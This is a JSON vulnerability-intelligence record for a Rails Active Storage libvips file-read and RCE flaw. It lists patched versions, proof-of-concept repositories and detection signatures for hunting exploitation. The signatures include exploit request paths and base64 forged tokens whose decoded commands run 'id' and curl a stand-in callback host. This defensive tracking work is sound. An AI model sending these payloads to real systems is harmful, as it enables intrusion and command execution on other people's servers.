{
  "id": "CVE-2026-66066",
  "url": "https://poc.griffinguard.io/cve/CVE-2026-66066",
  "published_at": "2026-07-30T18:32:11.419Z",
  "title": "Action Pack: Possible arbitrary file read and remote code execution in Active Storage variant processing",
  "vendor": "rails",
  "product": "rails",
  "cvss": {
    "score": 9.5,
    "source": "cna",
    "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  },
  "kev": {
    "in_kev": false,
    "added_at": null,
    "days_after_publication": null
  },
  "first_poc": {
    "created_at": "2026-07-29T20:45:27Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": -0.9,
    "repo": "0xBlackash/CVE-2026-66066",
    "source": "github"
  },
  "poc_repo_count": 10,
  "exploit_count": 1,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "Action Pack is a framework for handling and responding to web requests. In versions prior to 7.2.3.2, 8.0.5.1 and 8.1.3.1, Active Storage does not disable libvips operations marked unsafe for untrusted content, allowing a crafted upload to invoke such an operation. Consuming applications are affected when configured to use libvips and accept image uploads from untrusted users. An unauthenticated attacker may exploit this behavior to read arbitrary files accessible to the Rails process, including environment variables and application secrets. Exposure of credentials such as secret_key_base or external-service tokens may enable remote code execution or lateral movement. This issue has been fixed in versions 7.2.3.2, 8.0.5.1 and 8.1.3.1.",
  "cwe": "CWE-1188",
  "cvss_by_source": {
    "cna": 9.5
  },
  "repos": [
    {
      "repo": "paveg/rails-activestorage-vips-audit",
      "url": "https://github.com/paveg/rails-activestorage-vips-audit",
      "created_at": "2026-07-29T16:10:53Z",
      "first_seen_at": "2026-11-15T02:31:15.731Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2015-05-30T23:47:18Z"
    },
    {
      "repo": "0xBlackash/CVE-2026-66066",
      "url": "https://github.com/0xBlackash/CVE-2026-66066",
      "created_at": "2026-07-29T20:45:27Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2026-02-06T16:11:55Z"
    },
    {
      "repo": "0xredash/CVE-2026-66066",
      "url": "https://github.com/0xredash/CVE-2026-66066",
      "created_at": "2026-07-29T20:45:27Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2026-02-06T16:11:55Z"
    },
    {
      "repo": "ashrafzaryouh/CVE-2026-66066",
      "url": "https://github.com/ashrafzaryouh/CVE-2026-66066",
      "created_at": "2026-07-29T20:45:27Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2026-02-06T16:11:55Z"
    },
    {
      "repo": "Zer0SumGam3/CVE-2026-66066-POC",
      "url": "https://github.com/Zer0SumGam3/CVE-2026-66066-POC",
      "created_at": "2026-07-29T21:08:30Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 23,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 15,
      "suspicious": false,
      "suspicion_reasons": [
        "owner account created less than 30 days before the repo"
      ],
      "status": "analyzed",
      "owner_created_at": "2026-07-08T12:35:31Z"
    },
    {
      "repo": "rails/rails-forensics-CVE-2026-66066",
      "url": "https://github.com/rails/rails-forensics-CVE-2026-66066",
      "created_at": "2026-07-30T21:06:00Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 30,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2008-04-02T01:59:25Z"
    },
    {
      "repo": "0xsha/KindaRails2Shell",
      "url": "https://github.com/0xsha/KindaRails2Shell",
      "created_at": "2026-07-31T16:51:41Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 5,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2019-08-21T10:09:41Z"
    },
    {
      "repo": "HackSpeak/CVE-2026-66066",
      "url": "https://github.com/HackSpeak/CVE-2026-66066",
      "created_at": "2026-08-03T12:31:12Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 4,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 30,
      "suspicious": false,
      "suspicion_reasons": [
        "owner account created less than 7 days before the repo"
      ],
      "status": "analyzed",
      "owner_created_at": "2026-08-03T11:16:26Z"
    },
    {
      "repo": "shinthink/CVE-2026-66066",
      "url": "https://github.com/shinthink/CVE-2026-66066",
      "created_at": "2026-08-04T02:51:40Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2026-06-09T16:07:10Z"
    },
    {
      "repo": "ivanesk315/CVE-2026-66066",
      "url": "https://github.com/ivanesk315/CVE-2026-66066",
      "created_at": "2026-09-10T07:17:31Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2024-08-31T18:42:31Z"
    },
    {
      "repo": "honghyewon29/CVE-2026-66066",
      "url": "https://github.com/honghyewon29/CVE-2026-66066",
      "created_at": "2026-10-12T04:29:33Z",
      "first_seen_at": "2026-11-15T03:24:29.718Z",
      "stars": 0,
      "is_poc": "unknown",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "skipped",
      "owner_created_at": "2024-04-12T08:59:32Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "rails",
        "product": "rails",
        "ranges": [
          "\u003c 7.2.3.2",
          "\u003e= 8.0.0.beta1, \u003c 8.0.5.1",
          "\u003e= 8.1.0.beta1, \u003c 8.1.3.1"
        ],
        "fixed_in": [
          "7.2.3.2",
          "8.0.5.1",
          "8.1.3.1"
        ]
      }
    ],
    "upgrade": [
      "Upgrade rails to 7.2.3.2 or 8.0.5.1 or 8.1.3.1 or later."
    ],
    "references": [
      {
        "kind": "Vendor advisory",
        "url": "https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm"
      },
      {
        "kind": "Patch",
        "url": "https://github.com/rails/rails/commit/1c01bb587206ee6eb0e1179c2cef96a6a47acb1e"
      },
      {
        "kind": "Patch",
        "url": "https://github.com/rails/rails/commit/349e7a5d5b4b715af1e416db824f3c078a7d59e5"
      },
      {
        "kind": "Patch",
        "url": "https://github.com/rails/rails/commit/d79b7f4aa17dec8ce4960fef05733c8c0c7ef49a"
      },
      {
        "kind": "Release notes",
        "url": "https://github.com/rails/rails/releases/tag/v7.2.3.2"
      },
      {
        "kind": "Release notes",
        "url": "https://github.com/rails/rails/releases/tag/v8.0.5.1"
      },
      {
        "kind": "Release notes",
        "url": "https://github.com/rails/rails/releases/tag/v8.1.3.1"
      }
    ]
  },
  "exploit_refs": [
    {
      "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_activestorage_vips_rce.rb",
      "source": "metasploit",
      "title": "Metasploit exploit: Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution (exploit/multi/http/rails_activestorage_vips_rce)",
      "published_at": "2026-08-25T10:31:06Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "POST",
      "path_template": "/rails/active_storage/direct_uploads",
      "headers": [
        {
          "name": "Accept",
          "value": "application/json"
        }
      ],
      "body_markers": [
        "\"blob\"",
        "\"filename\":\"photo.bmp\"",
        "\"content_type\":\"image/bmp\"",
        "\"byte_size\"",
        "\"checksum\":\"IsIJCofOetHI7sriDkWG/A==\""
      ],
      "content_type": "application/json",
      "ports": [
        3000,
        9999
      ],
      "protocol": "http",
      "repos": [
        "ivanesk315/CVE-2026-66066",
        "shinthink/CVE-2026-66066"
      ],
      "repo_count": 2,
      "confidence": 0.85,
      "evidence": [
        "ivanesk315/CVE-2026-66066/CVE-2026-66066.md:455",
        "ivanesk315/CVE-2026-66066/attacker/step1_recon.py:83",
        "ivanesk315/CVE-2026-66066/attacker/step3_file_read.py:50",
        "ivanesk315/CVE-2026-66066/poc_manual.sh:59",
        "shinthink/CVE-2026-66066/cve_2026_66066.py:475"
      ]
    },
    {
      "method": "POST",
      "path_template": "/debug/execute",
      "body_markers": [
        "token=eyJjbWQiOiAiZWNobyBTSE9VTERfRkFJTCJ9--b5a0066b0096ee4b68149e4b9ae4d6d07c0f6df3a56225fc370d2df5030e7f05",
        "token=eyJjbWQiOiAiaWQgJiYgd2hvYW1pICYmIGhvc3RuYW1lIn0=--c51fb5c225a254d3e5a26c423a558d7153f277e59912dea4b52384746e6cd944",
        "token=eyJjbWQiOiAiY3VybCAtcyBodHRwOi8vY2FsbGJhY2stc2VydmVyOjk5OTkvcHduZWQgLWQgJ3JjZT1DVkUtMjAyNi02NjA2NicifQ==--624ca9f419c34ea7f596955251e46d7f960a3191bee4532be2867a79b316ce45",
        "token="
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        3000,
        9999
      ],
      "protocol": "http",
      "repos": [
        "ivanesk315/CVE-2026-66066"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "ivanesk315/CVE-2026-66066/CVE-2026-66066.md:604",
        "ivanesk315/CVE-2026-66066/CVE-2026-66066.md:621",
        "ivanesk315/CVE-2026-66066/CVE-2026-66066.md:646",
        "ivanesk315/CVE-2026-66066/attacker/step4_forge_and_rce.py:103",
        "ivanesk315/CVE-2026-66066/attacker/step4_forge_and_rce.py:160"
      ]
    },
    {
      "method": "GET",
      "path_template": "/check",
      "ports": [
        3000,
        9999
      ],
      "protocol": "http",
      "repos": [
        "ivanesk315/CVE-2026-66066"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "ivanesk315/CVE-2026-66066/attacker/step4_forge_and_rce.py:133"
      ]
    },
    {
      "method": "GET",
      "path_template": "/rails/active_storage/direct_uploads",
      "protocol": "https",
      "repos": [
        "shinthink/CVE-2026-66066"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "shinthink/CVE-2026-66066/cve_2026_66066.py:382"
      ]
    },
    {
      "method": "GET",
      "path_template": "/rails/active_storage/disk/{var}",
      "protocol": "https",
      "repos": [
        "shinthink/CVE-2026-66066"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "shinthink/CVE-2026-66066/cve_2026_66066.py:562"
      ]
    },
    {
      "method": "GET",
      "path_template": "/uploads/new",
      "ports": [
        3000,
        9999
      ],
      "protocol": "http",
      "repos": [
        "ivanesk315/CVE-2026-66066"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "ivanesk315/CVE-2026-66066/attacker/step1_recon.py:45"
      ]
    },
    {
      "method": "POST",
      "path_template": "/pwned",
      "body_markers": [
        "rce=CVE-2026-66066"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        9999
      ],
      "protocol": "http",
      "repos": [
        "ivanesk315/CVE-2026-66066"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "ivanesk315/CVE-2026-66066/callback/server.py:7"
      ]
    },
    {
      "method": "POST",
      "path_template": "/uploads",
      "body_markers": [
        "upload[title]=recon_test",
        "upload[title]=CVE-2026-66066-exploit",
        "upload[file]="
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        3000,
        9999
      ],
      "protocol": "http",
      "repos": [
        "ivanesk315/CVE-2026-66066"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "ivanesk315/CVE-2026-66066/attacker/step1_recon.py:52",
        "ivanesk315/CVE-2026-66066/attacker/step3_file_read.py:97"
      ]
    }
  ],
  "rules": []
}
